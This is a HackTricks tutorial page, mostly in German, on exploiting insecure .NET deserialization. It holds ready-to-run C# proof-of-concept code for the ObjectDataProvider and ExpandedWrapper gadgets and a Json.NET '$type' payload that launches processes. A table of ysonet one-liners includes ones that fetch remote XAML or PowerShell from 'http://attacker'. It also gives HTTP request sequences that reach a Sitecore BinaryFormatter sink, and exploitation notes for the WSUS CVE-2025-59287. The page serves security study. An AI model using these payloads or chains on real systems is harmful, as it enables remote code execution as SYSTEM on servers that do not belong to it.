Grundlegende .Net-Deserialisierung (ObjectDataProvider gadget, ExpandedWrapper und Json.Net)
Reading time: 11 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Dieser Beitrag erklärt, wie das Gadget ObjectDataProvider ausgenutzt wird, um RCE zu erreichen, und wie die Serialisierungsbibliotheken Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.
ObjectDataProvider Gadget
From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ja, das ist eine merkwürdige Erklärung, also sehen wir uns an, was diese Klasse so interessant macht: Diese Klasse erlaubt es, ein beliebiges Objekt zu wrappen, MethodParameters zu verwenden, um beliebige Parameter zu setzen, und dann mit MethodName eine beliebige Funktion des beliebigen Objekts aufzurufen, die mit den angegebenen Parametern deklariert wurde.
Daher wird das beliebige Objekt eine Funktion mit Parametern während der Deserialisierung ausführen.
Wie ist das möglich
Der Namespace System.Windows.Data, enthalten in PresentationFramework.dll unter C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, ist der Ort, an dem ObjectDataProvider definiert und implementiert ist.
Mit dnSpy können Sie den Code der Klasse, die uns interessiert, untersuchen. Im Bild unten sehen wir den Code von PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
.png)
Wie Sie sehen können, wird beim Setzen von MethodName base.Refresh() aufgerufen. Schauen wir uns an, was das macht:
.png)
Ok, schauen wir weiter, was this.BeginQuery() macht. BeginQuery wird von ObjectDataProvider überschrieben und dies ist, was es macht:
.png)
Beachten Sie, dass am Ende des Codes this.QueryWorke(null) aufgerufen wird. Sehen wir, was das ausführt:
.png)
Beachten Sie, dass dies nicht der komplette Code der Funktion QueryWorker ist, aber es zeigt den interessanten Teil: Der Code ruft this.InvokeMethodOnInstance(out ex); auf — das ist die Zeile, in der die festgelegte Methode ausgeführt wird.
Wenn Sie prüfen möchten, dass allein das Setzen von MethodName zur Ausführung führt, können Sie diesen Code ausführen:
C# Demo: ObjectDataProvider löst Process.Start aus
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Beachte, dass du als Verweis C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll hinzufügen musst, um System.Windows.Data zu laden
ExpandedWrapper
Bei Verwendung des vorherigen Exploits gibt es Fälle, in denen das object als ObjectDataProvider Instanz deserialisiert as wird (zum Beispiel bei der DotNetNuke vuln: mit XmlSerializer wurde das Objekt mittels GetType deserialisiert). Dann besteht no knowledge of the object type that is wrapped in der ObjectDataProvider Instanz (Process zum Beispiel). Du findest mehr information about the DotNetNuke vuln here.
Diese Klasse erlaubt es, die Objekttypen der in einer Instanz gekapselten Objekte anzugeben. Somit kann diese Klasse verwendet werden, um ein Quellobjekt (ObjectDataProvider) in einen neuen Objekttyp zu kapseln und die benötigten Eigenschaften bereitzustellen (ObjectDataProvider.MethodName und ObjectDataProvider.MethodParameters).
Das ist sehr nützlich für Fälle wie den zuvor beschriebenen, denn wir können wrap ObjectDataProvider inside an ExpandedWrapper instance und when deserialized erzeugt diese Klasse das OjectDataProvider Objekt, das die in MethodName angegebene function ausführt.
You can check this wrapper with the following code:
C# demo: ExpandedWrapper encapsulating ObjectDataProvider
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Auf der offiziellen Webseite wird angegeben, dass diese Bibliothek es ermöglicht, beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu serialisieren und zu deserialisieren. Wenn wir also das ObjectDataProvider gadget deserialisieren könnten, könnten wir allein durch die Deserialisierung eines Objekts eine RCE auslösen.
Json.Net Beispiel
Zunächst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek serialisiert/deserialisiert:
C# Demo: Json.NET serialisieren/deserialisieren
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Missbrauch von Json.Net
Mit ysoserial.net habe ich den Exploit erstellt:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
In diesem Code können Sie den exploit testen — führen Sie ihn einfach aus und Sie werden sehen, dass calc ausgeführt wird:
C# demo: Json.NET ObjectDataProvider exploitation PoC
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Erweiterte .NET Gadget-Ketten (YSoNet & ysoserial.net)
Die oben eingeführte ObjectDataProvider + ExpandedWrapper-Technik ist nur eine von VIELEN Gadget-Ketten, die ausgenutzt werden können, wenn eine Anwendung unsichere .NET deserialization durchführt. Moderne red-team-Tools wie YSoNet (und das ältere ysoserial.net) automatisieren die Erstellung von sofort einsetzbaren bösartigen Objektgraphen für Dutzende von Gadgets und Serialisierungsformaten.
Nachfolgend eine komprimierte Referenz der nützlichsten Ketten, die mit YSoNet geliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen, um die Payloads zu erzeugen.
| Gadget-Chain | Kernidee / Primitive | Gängige Serializer | YSoNet One-Liner |
|---|---|---|---|
| TypeConfuseDelegate | Beschädigt den DelegateSerializationHolder-Eintrag so, dass der Delegate nach Materialisierung auf jede vom Angreifer bereitgestellte Methode zeigt (z. B. Process.Start) | BinaryFormatter, SoapFormatter, NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
| ActivitySurrogateSelector | Missbraucht System.Workflow.ComponentModel.ActivitySurrogateSelector, um das .NET ≥4.8 Type-Filtering zu umgehen und direkt den Konstruktor einer gelieferten Klasse aufzurufen oder eine C#-Datei dynamisch zu kompilieren | BinaryFormatter, NetDataContractSerializer, LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
| DataSetOldBehaviour | Nutzt die veraltete XML-Darstellung von System.Data.DataSet, um beliebige Typen zu instanziieren, indem die <ColumnMapping> / <DataType>-Felder gefüllt werden (optional die Assembly mit --spoofedAssembly vortäuschen) | LosFormatter, BinaryFormatter, XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
| GetterCompilerResults | Auf WPF-aktivierten Laufzeiten (> .NET 5) werden Property-Getter verkettet, bis System.CodeDom.Compiler.CompilerResults erreicht ist, und dann eine mit -c gelieferte DLL kompiliert oder geladen | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
| ObjectDataProvider (review) | Verwendet WPF System.Windows.Data.ObjectDataProvider, um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine bequeme --xamlurl-Variante hinzu, um das bösartige XAML remote zu hosten | BinaryFormatter, Json.NET, XAML, etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
| PSObject (CVE-2017-8565) | Betten ScriptBlock in System.Management.Automation.PSObject ein, das ausgeführt wird, wenn PowerShell das Objekt deserialisiert | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Alle Payloads werden standardmäßig auf stdout geschrieben, was es trivial macht, sie in andere Tools zu pipen (z. B. ViewState-Generatoren, base64-Encoder, HTTP-Clients).
Bauen / Installieren von YSoNet
Wenn keine vorkompilierten Binaries unter Actions ➜ Artifacts / Releases verfügbar sind, richtet der folgende PowerShell-One-Liner eine Build-Umgebung ein, klont das Repository und kompiliert alles im Release-Modus:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Die kompilierte ysonet.exe befindet sich dann unter ysonet/bin/Release/.
Praxisnaher sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Ein praxisnaher .NET sink, erreichbar in authentifizierten Sitecore XP Content Editor‑Abläufen:
- Sink API:
Sitecore.Convert.Base64ToObject(string)verwendetnew BinaryFormatter().Deserialize(...). - Auslösepfad: Pipeline
convertToRuntimeHtml→ConvertWebControls, die nach einem Geschwister-Element mitid="{iframeId}_inner"sucht und einvalue-Attribut liest, das als base64-kodierte serialisierte Daten behandelt wird. Das Ergebnis wird in einen string gecastet und in das HTML eingefügt.
Authentifizierter Sitecore sink: HTTP‑Ablauf des Triggers
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: jede BinaryFormatter-Kette, die einen string zurückgibt (Nebenwirkungen laufen während der Deserialisierung). Siehe YSoNet/ysoserial.net, um Payloads zu generieren.
Für eine vollständige Kette, die pre‑auth mit HTML cache poisoning in Sitecore beginnt und zu diesem Sink führt:
Fallstudie: Unsichere .NET-Deserialisierung in WSUS (CVE-2025-59287)
- Product/role: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
- Attack surface: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk).
- Root cause: Nicht authentifizierte Deserialisierung von vom Angreifer kontrollierten Daten unter Verwendung veralteter Formatter:
GetCookie()endpoint deserializes anAuthorizationCookiewithBinaryFormatter.ReportingWebServiceperforms unsafe deserialization viaSoapFormatter.- Impact: Ein manipuliertes serialisiertes Objekt löst während der Deserialisierung eine Gadget-Kette aus, die zur Ausführung beliebigen Codes als
NT AUTHORITY\SYSTEMunter entweder dem WSUS-Dienst (wsusservice.exe) oder dem IIS-App-Poolwsuspool(w3wp.exe) führt.
Praktische Hinweise zur Ausnutzung
- Discovery: Scan for WSUS on TCP 8530/8531. Treat any pre-auth serialized blob reaching WSUS web methods as a potential sink for
BinaryFormatter/SoapFormatterpayloads. - Payloads: Verwenden Sie YSoNet/ysoserial.net, um
BinaryFormatteroderSoapFormatter-Ketten zu erzeugen (z. B.TypeConfuseDelegate,ActivitySurrogateSelector,ObjectDataProvider). - Expected process lineage on success:
wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exew3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe
Referenzen
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited
- MSRC – CVE-2025-59287 advisory
- NVD – CVE-2025-59287
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks